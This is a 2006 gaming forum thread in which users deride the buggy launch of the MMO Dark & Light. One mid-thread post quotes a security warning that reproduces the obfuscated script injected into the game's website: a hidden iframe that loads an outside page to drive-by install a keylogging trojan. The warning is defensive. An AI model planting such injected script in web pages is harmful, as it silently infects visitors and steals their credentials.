Title: Dark & Light launched... anyone playing? Post by: Akkori on May 31, 2006, 04:59:54 AM I haven't tried yet. I learned my lesson about trying to play on launch days. The only thing I know so far is that after the initial $45 or so fee to join, you dont have to pay to play. They have a system where you get 15 credits a month to buy stuff, and there is no fee. Its supposedly good to go until you get to level 30 or so.
Title: Re: Dark & Light launched... anyone playing? Post by: schild on May 31, 2006, 05:02:13 AM Meh, might as well send a press request and torture myself. It's been a while since I MMOG'd drunk and angry.
Title: Re: Dark & Light launched... anyone playing? Post by: Soukyan on May 31, 2006, 05:43:17 AM I received an email from them about the release, but I didn't bother trying. Their web site has always been really poorly designed and implemented and I have this hunch that the game might be as well, so I don't even know that I'll give them any money at all... but we all know I am weak when it comes to these things. I mean sled-riding on a shield!
Title: Re: Dark & Light launched... anyone playing? Post by: stray on May 31, 2006, 05:47:10 AM From everything I've heard, it sounds like it has more technical deficiencies than WW2OL and Shadowbane.
I'm so there! No, no, no. Scratch that. I won't hate. I'm kind of interested in what anyone has to say about the gameplay at least. If only because it caters to Explorers a bit. Title: Re: Dark & Light launched... anyone playing? Post by: Akkori on May 31, 2006, 06:09:35 AM IF they ever meet the expectations they set up for this game... IF .... then this will eb a game for everyone except *maybe* hardcore PvP'ers. Let me just say that I WILL sign up for the "free" subscription, just so I can participate in 3D flight with my dragon!
Title: Re: Dark & Light launched... anyone playing? Post by: sarius on May 31, 2006, 07:50:52 AM As we found out, Pioneer accounts that actually pay money don't work. Just log on with previous information, supposedly. I'm downloading the client today and will check it out tonight.
Title: Re: Dark & Light launched... anyone playing? Post by: Signe on May 31, 2006, 09:14:55 AM I tried the freebie SoG (it was DnL beta, that's all) and it was total rubbish. It sounds like DnL release is total rubbish, too.
Title: Re: Dark & Light launched... anyone playing? Post by: HaemishM on May 31, 2006, 09:17:56 AM From what I've heard, they had trouble keeping the server alive with 1000 people on. Unless someone tells me otherwise, I just assume it's complete ass and move on.
Title: Re: Dark & Light launched... anyone playing? Post by: Signe on May 31, 2006, 09:20:33 AM The last time I played, only 3 hotkeys worked. Luckily the "log out" option was not affected.
Title: Re: Dark & Light launched... anyone playing? Post by: WindupAtheist on May 31, 2006, 09:20:56 AM Yeah, look, this site may be thick with MMO players, but does anyone really need to play this? The chances of it being good are essentially nil.
Title: Re: Dark & Light launched... anyone playing? Post by: Venkman on May 31, 2006, 09:37:06 AM The only thing that interests me is the Bigworld middleware server system they used for it. I'm still a fan of not requiring every game be coded from binary on up. DnL is not going to prove nor disprove the viability of the part of Bigworld it uses, nor the concept of middleware altogether of course.
I'll check it out at some point. For games that I don't care about though, I generally wait four or five months after launch. If there's enough people playing, they'll fix it all up. If not, well... Oh, and it's $54 (http://www.darkandlight.com/en_play-dark-and-light-with-or.html) now. The price has gone up! Huge success!11/1 (j/k, it was probably 54 all along?) Title: Re: Dark & Light launched... anyone playing? Post by: Sairon on May 31, 2006, 09:41:28 AM After reading some on the official forums it seems that this games deserves none of my money. Not only does it seem to suffer from being buggy, but also totaly lacking content. Tons of stuff promised not in etc.
Title: Re: Dark & Light launched... anyone playing? Post by: Soukyan on May 31, 2006, 10:18:25 AM Looking at the options available to a Freedom card account (the one with no monthly fee and purchasable access credits), it seems to me they should rethink the name. It bestows anything but freedom upon the character... and I'm already free to spend my money as I choose so, how about Impossible Account?
Title: Re: Dark & Light launched... anyone playing? Post by: Soln on May 31, 2006, 10:58:11 AM The only thing that interests me is the Bigworld middleware server system they used for it. I'm still a fan of not requiring every game be coded from binary on up. DnL is not going to prove nor disprove the viability of the part of Bigworld it uses, nor the concept of middleware altogether of course. I'll check it out at some point. For games that I don't care about though, I generally wait four or five months after launch. If there's enough people playing, they'll fix it all up. If not, well... Oh, and it's $54 (http://www.darkandlight.com/en_play-dark-and-light-with-or.html) now. The price has gone up! Huge success!11/1 (j/k, it was probably 54 all along?) you sure about the Bigworld hosting? At any rate, Signe giving a solid No gives me serious pause. Title: Re: Dark & Light launched... anyone playing? Post by: Righ on May 31, 2006, 10:59:36 AM This is the new Horizons, but without the half-finished bits. They could build a cathedral to virtual worlds with all their promises and intentions. Their game however, is like one of those open source software projects that is run by a control freak with too much ambition and not enough time or talent. The only reason it gets beyond version 0.1 is because the diff to version 0.2 is the version number and a fixed typo.
Title: Re: Dark & Light launched... anyone playing? Post by: Signe on May 31, 2006, 11:37:56 AM They might not even make it to becoming the new Horizons... they may only get as far as becoming the new Mourning. Pity, their overview of features makes you really want to play. All sorts of travel options... I tried dragons, and it was pretty cool but then I tried the snowboard and it was terrible, although it looked great in a video I saw... weather that affects travel, combat, etc, interesting playable races, etc. The feature overview is the new Horizons bit, really. The Mourning bit is that they seem to have actually had the audacity to take money and release a game that is obviously intended to be vapourware.
Title: Re: Dark & Light launched... anyone playing? Post by: sarius on May 31, 2006, 11:46:28 AM They might not even make it to becoming the new Horizons... they may only get as far as becoming the new Mourning. Pity, their overview of features makes you really want to play. All sorts of travel options... I tried dragons, and it was pretty cool but then I tried the snowboard and it was terrible, although it looked great in a video I saw... weather that affects travel, combat, etc, interesting playable races, etc. The feature overview is the new Horizons bit, really. The Mourning bit is that they seem to have actually had the audacity to take money and release a game that is obviously intended to be vapourware. It is somewhat irritating that each of the races had basically no differences in individuals. Each human, each elf, each whatever essentially looked the same as all the rest. Well, as long as the time for a Pioneer account is good I'll finish trying it, but SoG experiences lend about jack to any hope of an enjoyable game. Title: Re: Dark & Light launched... anyone playing? Post by: Righ on May 31, 2006, 12:03:20 PM Pioneer account :roflcopter: Weren't you the chap who professed to have a dozen SW:G accounts too? Title: Re: Dark & Light launched... anyone playing? Post by: sarius on May 31, 2006, 12:06:27 PM Pioneer account :roflcopter: Weren't you the chap who professed to have a dozen SW:G accounts too? /yawn Title: Re: Dark & Light launched... anyone playing? Post by: schild on May 31, 2006, 02:21:17 PM Yeah, look, this site may be thick with MMO players, but does anyone really need to play this? The chances of it being good are essentially nil. That covers just about 99% of the market, yet I think there are more than 2 games with active players on f13. Why? I don't know. And they sure are talked about a lot. Title: Re: Dark & Light launched... anyone playing? Post by: sarius on May 31, 2006, 05:47:00 PM Logged in upon arriving home. Controls are still ass. Animations are ass. FF6 was more enjoyable. /sigh
Title: Re: Dark & Light launched... anyone playing? Post by: schild on May 31, 2006, 05:48:11 PM Comparing it to FF6 isn't even reasonable. It's like comparing Top Spin to Super Mario Brothers.
Was AO more enjoyable? They seem to have similar launches. Title: Re: Dark & Light launched... anyone playing? Post by: Tale on May 31, 2006, 06:31:30 PM you sure about the Bigworld hosting? Bigworld is not hosting, it is licensed technology used on D&L's servers. As far as I can tell, this is its first outing (http://www.bigworldtech.com/games/index.php), at least in a western MMOG, after years of pimping at trade shows and so on. It all came out of Micro Forte's Citizen Zero (http://www.citizen-zero.com/), a MMOG that was never released despite years of development time (supposedly it's still coming, and the CZ official forums (http://www.citizen-zero.com/phpbb2) are still going, despite the fanbois growing up and having families - I saw one respond to another "nice to see an old timer back on the forums"). I posted a bit more Bigworld/CZ stuff in the Corpnews thread last week. Was AO more enjoyable? They seem to have similar launches. I was in late AO beta and played at launch - main problem with AO was you got disconnected/crashed every 30 minutes or less. It was a zone-based game but most of the time you couldn't cross zone lines due to server problems. It had mission-based gameplay where most missions were bugged and mobs could hit you through walls. It got worse before it got better, by which time most people left. [much later edit] Funcom just got around to fixing a bug (http://www.worthplaying.com/article.php?sid=34467&mode=thread&order=0) in their 1999 game The Longest Journey :) Wonderfully imaginative company, and AO had great atmosphere and a top-notch sci-fi plot, but there's just that quality control thing ... Title: Re: Dark & Light launched... anyone playing? Post by: schild on May 31, 2006, 06:37:34 PM Stargate worlds uses Bigworld also. Apparently it can be reasonably powerful. But meh. Budget programs make budget crap games in the hands of unimaginative developers.
Title: Re: Dark & Light launched... anyone playing? Post by: LC on June 01, 2006, 02:51:34 AM I logged into the stress test on the second or third day. I was getting around 4fps in town, and 8fps in the wilderness. Some guy with a GeForce 7900 GTX was whining in chat about how he could only manage 18fps. The server was really laggy, and eventually it crashed from the load. But not before I died to a monster that was running in place a few hundred feet away from my character. After that my character became corrupted, and could no longer equip items or move around. Someone told me that this was pretty common, and all I needed to do was make a new character.
Pretty much everything in Dark and Light seems to be stolen. They didn't stop at just stealing technology and ideas either. Even their Terms of Service (http://www.exploiter.org/l-c/misc/dnltos.png) were stolen. They are also violating the GPL by using rsync without providing the source or a copy of the license. Title: Re: Dark & Light launched... anyone playing? Post by: Cyrrex on June 01, 2006, 03:28:13 AM I played a bit of the SOG stuff about six months ago or whatever...well, played isn't the right word. It was more like fly-around-on-dragon-and-admire-the-draw-distance. That was literally the only appeal it had at the time, and the feeling would be gone 5 minutes later. Out of curiosity, I went over to the DnL forums just a while ago, and the same stuff that was being posted six months ago is still being posted today. The fanboys are still singing their praises without actually being able to point at anything positive about the game. The haters are still hating, for all the same reasons they were before. It doesn't sound like anything has changed at all, which is all the reason anyone needs to stay far, far away from this game.
Good things about DnL: the draw distance Everything else would fall into the "bad things" category. Title: Re: Dark & Light launched... anyone playing? Post by: Akkori on June 01, 2006, 07:32:34 AM Draw distance AND 3D flight both rock.
Title: Re: Dark & Light launched... anyone playing? Post by: Righ on June 01, 2006, 10:30:57 AM Even their Terms of Service (http://www.exploiter.org/l-c/misc/dnltos.png) were stolen. I'm sure that somebody at SOE would be pretty annoyed by that if they could stop laughing long enough. Title: Re: Dark & Light launched... anyone playing? Post by: Soln on June 01, 2006, 12:16:20 PM that's a lawyering, right there
of course, they could've used the same template conceivably somehow from the same law firm, or lawyer, SOE used for that. but since it's off the SOE website, seems more likely they just copy-pasted. Wow, jaw droppingly dumb. Someone ping Smed. Title: Re: Dark & Light launched... anyone playing? Post by: Signe on June 16, 2006, 02:59:54 PM Could things get worse for this company?
Sure they can. Quote Trojan infecting www.darkandlight.net Juste a message to prevent risks : Actually, www.darkandlight.net is infected by a malicious code, that permits a trojan to be installed on your machines. Code: <SCRIPT> s=unescape("%3Ciframe%20src%3D%22http%3A//www.legitworks.com/go.php%22%20WIDTH%3D%220%25%22%20HEIGHT%3D%2 20%25%22%20MARGINHEIGHT%3D%220%22%20MARGINWIDTH%3D %220%22%20SCROLLING%3D%22auto%22%20frameborder%3D% 220%22%20NORESIZE%3E%3C/iframe%3E");document.writeln(s);document.close(); </SCRIPT> The problem was reported several hours ago, but is still there. It is included into the HTML code. You can see the detection of the trojan malicious code by an antivirus : http://www.sirsoft.info/virus.jpg Quote: Websense Security Labs is seeing large increases in drive-by installations of malicious code that is hosted on websites that are using the Web Attacker Toolkit. When a user visits one of the nearly 1000 sites that are being used to run code without user intervention, a Trojan Horse is downloaded and run. It can log keystrokes, download additional code, or open backdoors on the user's machine. http://www.websense.com/securitylab...php?AlertID=472 Please : be extremly cautious if you went on the official website without any antivirus, or spyware protection. This malicious code could compromise your personal datas, such as login/passwords, as it could install a keylogger. http://www.darkandlight.net/forums/showthread.php?t=64298&page=1&pp=20 Title: Re: Dark & Light launched... anyone playing? Post by: schild on June 16, 2006, 03:01:04 PM Lol.
Title: Re: Dark & Light launched... anyone playing? Post by: Soln on June 16, 2006, 03:10:56 PM can a company commit suicide?
for this to happen, the virus would have to made its way to (protected) prod boxes, that shouldn't have open HTTP. Any Ops folks wanna chime in? Quote This malicious code could compromise your personal datas, such as login/passwords, as it could install a keylogger. jesus couldn't CERT fine them for not dealing with that? Title: Re: Dark & Light launched... anyone playing? Post by: voblat on June 16, 2006, 03:11:24 PM The moderators relpy in that thread of
'thanks for posting, I was just looking to address this issue' is pure gold. That forum is just oozing comedic value. Not least the guy who won a lifetime free account and has left already. Title: Re: Dark & Light launched... anyone playing? Post by: Trippy on June 16, 2006, 05:26:42 PM for this to happen, the virus would have to made its way to (protected) prod boxes, that shouldn't have open HTTP. Any Ops folks wanna chime in? It's the Web site that's (apparently) been compromised not the game server(s).Quote Quote This malicious code could compromise your personal datas, such as login/passwords, as it could install a keylogger. jesus couldn't CERT fine them for not dealing with that?Title: Re: Dark & Light launched... anyone playing? Post by: Signe on June 24, 2006, 10:51:37 AM Sort of an interest bug patched in with the latest update.
(http://img363.imageshack.us/img363/1682/2464zy.jpg) Quote It seems that with the new patch, came a new bug! Now some people seem to get negative FPS. (original thread: http://forums.jeuxonline.info/showthread.php?t=685328 , google it for a translation) What does that mean? It means that because the lack of synchro between the real framerate and the one calculated, some characters cover great distances in but a few seconds. The original poster in the above thread says that the distance he can cover in three seconds while running can vary between 10 to 100 meters. Another guy tells us how he was hanggliding when all of a sudden he litteraly "warped" to the other half of the dark kingdom, crashed to the ground, rolled on the floor over a distance of 2 to 3 kilometers, then rolled over the side of a moutain, reached the top and litterally got ejected to the other side. The question is: why have they modified this "fps" setting? Are they trying to hide the real FPS behind a false number? Who knows? But there's one thing that 's almost certain: Vuarr must be Inspector Clouseau's hidden twin brother. Sorry about the source. (http://www.mmorpg.com/discussion2.cfm/thread/83077) Title: Re: Dark & Light launched... anyone playing? Post by: Signe on June 28, 2006, 07:18:52 AM Evidently, they released a very buggy patch. Surprise! They allowed a VERY obvious exploit to continue for several days. Everyone was aware of it. Subscribers thought they would finally upload a fix for the exploit and that they would suffer some sort of rollback. The dev team said, "no no no, no rollback!". Well... they've just had a four day rollback. That's a lot! Unfortunately, the devs at DnL continue to announce the biggest news on an IRC channel so most people remain confused about what's happening. Arguments crop up. Flaming ensues. Soon, we have ANARCHY! Anyway, Go here if you want to troll:
irc.ircube.org #darkandlight I don't do that anymore. Not since Horizons. I'm afraid of IRC. Edit: The exploit isn't fixed. Oh dear. Title: Re: Dark & Light launched... anyone playing? Post by: HaemishM on June 28, 2006, 09:09:55 AM A four day rollback? So in actual, time in-game numbers that's about 20 minutes of actual time? Seeing as how many people can't stay logged into the game or keep it from crashing for more than 5 minutes?
Title: Re: Dark & Light launched... anyone playing? Post by: voblat on June 28, 2006, 09:18:47 AM Ive been sort of watching the forums off and on, out of some morbid curiosity I think.
The fanbase has started to consume itself from within over the last few days, there was a clear divide a week ago, the fanboys who thought the devs were gods, and 'the potential' was simply unsurpassed, and they were all paying to be a part of history. Then there were the sane ones, who complained, vociferously , about the bugs and general unplayable state of the game. Most of the latter are now banned. Now we are a situation where even the fanboys are complaining, blaming each other for exploiting and causing a rollback, and of course the biggest issue is the exploit is still there after the rollback. So now the discussion appears to be centered on , do I risk playing, or will they rollback again once they work out how to fix things. Not good. On the plus side, as a reward for putting up with it all, players received an ingredient bag with extra capacity after the rollback. it was bugged and wouldn't accept ingredients. :roll: Title: Re: Dark & Light launched... anyone playing? Post by: WayAbvPar on June 28, 2006, 10:17:27 AM (http://www.thinkandask.com/images/trainwreck.gif)
Title: Re: Dark & Light launched... anyone playing? Post by: Glazius on June 28, 2006, 11:07:27 AM Ive been sort of watching the forums off and on, out of some morbid curiosity I think. Ditto.Quote The fanbase has started to consume itself from within over the last few days, there was a clear divide a week ago, the fanboys who thought the devs were gods, and 'the potential' was simply unsurpassed, and they were all paying to be a part of history. I think the real issue is that right now the game is in such terrible shape that nobody knows whether any given aspect of the game is bugged, broken, exploitable, or working as intended. Then there were the sane ones, who complained, vociferously , about the bugs and general unplayable state of the game. Most of the latter are now banned. Now we are a situation where even the fanboys are complaining, blaming each other for exploiting and causing a rollback, and of course the biggest issue is the exploit is still there after the rollback. So now the discussion appears to be centered on , do I risk playing, EDITED TO ADD: Seriously, there's a guy who is posting a detailed log of everything he's doing, in the hopes that other people can tell him whether he's exploiting bugs or not. --GF Title: Re: Dark & Light launched... anyone playing? Post by: caladein on June 28, 2006, 11:50:16 AM EDITED TO ADD: Seriously, there's a guy who is posting a detailed log of everything he's doing, in the hopes that other people can tell him whether he's exploiting bugs or not. At that point, one must assume Dev communication is being written in cuneiform and being translated into English by a chicken. And not those fancy SOE Patch Notes chickens, no, good ole' Foster Farms for D&L.--GF Although to cut them some slack, I've had similar moments of doubt in less... "disastrously broken" MMOs, but still... wow :|. Title: Re: Dark & Light launched... anyone playing? Post by: Broughden on June 28, 2006, 01:56:49 PM Ive been sort of watching the forums off and on, out of some morbid curiosity I think. The fanbase has started to consume itself from within over the last few days, there was a clear divide a week ago, the fanboys who thought the devs were gods, and 'the potential' was simply unsurpassed, and they were all paying to be a part of history. Then there were the sane ones, who complained, vociferously , about the bugs and general unplayable state of the game. Most of the latter are now banned. Now we are a situation where even the fanboys are complaining, blaming each other for exploiting and causing a rollback, and of course the biggest issue is the exploit is still there after the rollback. So now the discussion appears to be centered on , do I risk playing, or will they rollback again once they work out how to fix things. Not good. On the plus side, as a reward for putting up with it all, players received an ingredient bag with extra capacity after the rollback. it was bugged and wouldn't accept ingredients. :roll: I love this thread. PS- Is that true about the bag? Edit- I had trouble spelling "bag". Title: Re: Dark & Light launched... anyone playing? Post by: Hoax on June 28, 2006, 02:07:58 PM If things continue to be this slow on the non-sucky games & news fronts I suggest f13 write a FAQ for how not to fuck up a MMO. Because shit like RyL, Mourning and this bullshit not to mention supposedly A-budget titles like AA and DDO need to just stop. I know making games is very difficult, but come the fuck on. Making sure that you've at least made a game that, you know, sort of works? NOT THAT FUCKING HARD. If it is, GET A NEW JOB.
<insert string of derrogotory terms here> Plus I've always wanted to contribute to making a FAQ, it might be fun? Title: Re: Dark & Light launched... anyone playing? Post by: Signe on June 28, 2006, 02:29:40 PM If things continue to be this slow on the non-sucky games & news fronts I suggest f13 write a FAQ for how not to fuck up a MMO. Because shit like RyL, Mourning and this bullshit not to mention supposedly A-budget titles like AA and DDO need to just stop. I know making games is very difficult, but come the fuck on. Making sure that you've at least made a game that, you know, sort of works? NOT THAT FUCKING HARD. If it is, GET A NEW JOB. <insert string of derrogotory terms here> Plus I've always wanted to contribute to making a FAQ, it might be fun? You used to be such a sweet boy. Now you're so angry. What happened? Title: Re: Dark & Light launched... anyone playing? Post by: Xilren's Twin on June 28, 2006, 02:43:42 PM <insert string of derrogotory terms here> Plus I've always wanted to contribute to making a FAQ, it might be fun? You used to be such a sweet boy. Now you're so angry. What happened? I suspect he was trampled by naked feet once too often.... Title: Re: Dark & Light launched... anyone playing? Post by: Morat20 on June 28, 2006, 02:44:33 PM You used to be such a sweet boy. Now you're so angry. What happened? I suspect he was trampled by naked feet once too often.... I hear you have to shell out good money to get that. Title: Re: Dark & Light launched... anyone playing? Post by: Akkori on August 04, 2006, 09:47:26 PM Breaking News via email:
Quote Dear Dark and Light player, After having assessed the first months of play in the Dark and Light game, we agree that the main features of Dark and Light have been implemented at the release but the game still needs to be refined. We are reacting quickly and have already agreed with our partner Snailgame to enlarge the production capacity by employing up to 40 people based in Shanghai. Some major patches have already been integrated and other patches will be applied regularly during the next three months. To thank you for your confidence in the project, we have decided to offer you the next three months of subscription* at no cost enabling you to experience the regular Dark and Light updates. Please note that paying subscriptions will restart on November 2006. In other words, all Dark and Light activation key owners can now play Dark and Light for free through October 2006. Once again, we thank you for your fidelity. Please remain assured that we are gathering all the means to answer your demands. Best regards, Farlan Entertainment * Players whose August subscription has already been paid will be refunded in the coming weeks Title: Re: Dark & Light launched... anyone playing? Post by: Venkman on August 05, 2006, 06:40:09 AM So it's reverted back to a beta it seems, considering they're way-upping their resources (which means revenue needs) while removing their single source of income. Is this in preparation for launch in a different market?
Title: Re: Dark & Light launched... anyone playing? Post by: Margalis on August 05, 2006, 07:07:57 AM Major announcements over IRC...oh dear. These guys win the special prize.
Title: Re: Dark & Light launched... anyone playing? Post by: geldonyetich on August 05, 2006, 11:50:26 AM The game was born of a poor premise:
Bigger Bigger Bigger = Best Game Ev4r! No amount of outsourced Shanghai labor will fix that any game bored of such shallow aspirations may be wide as an ocean but no deeper than a puddle. Title: Re: Dark & Light launched... anyone playing? Post by: Telemediocrity on August 05, 2006, 06:43:27 PM Assuming it actually worked, I'd probably play this game. Full-world PvP? With flying dragons? Good enough for me. PvP worlds aren't shallow because the players make their own content.
Title: Re: Dark & Light launched... anyone playing? Post by: SpaceDrake on August 06, 2006, 01:03:07 AM Did I read that right? Are they really outsourcing the game labor to China?
I don't think I actually have a word that can describe that properly. Title: Re: Dark & Light launched... anyone playing? Post by: Trippy on August 06, 2006, 01:42:34 AM Did I read that right? Are they really outsourcing the game labor to China? What's the problem with doing game development in China? Did you know that Ubisoft has 500 people doing end-to-end game development in Shanghai (their second largest studio only behind Montreal) including doing all the development on games like GRAW?I don't think I actually have a word that can describe that properly. Title: Re: Dark & Light launched... anyone playing? Post by: Jayce on August 06, 2006, 05:03:40 AM What's the problem with doing game development in China? In my understanding, to make outsourcing work right, you really have to have a good plan, stay on top of things, and generally be really smart about it. These guys have demonstrated none of the above, from what I can tell from this thread.... Also, it's not exactly something you want to shout from the rooftops, is it? Title: Re: Dark & Light launched... anyone playing? Post by: Trippy on August 06, 2006, 05:32:04 AM What's the problem with doing game development in China? In my understanding, to make outsourcing work right, you really have to have a good plan, stay on top of things, and generally be really smart about it. These guys have demonstrated none of the above, from what I can tell from this thread....Also, it's not exactly something you want to shout from the rooftops, is it? Edit: fixed grammar |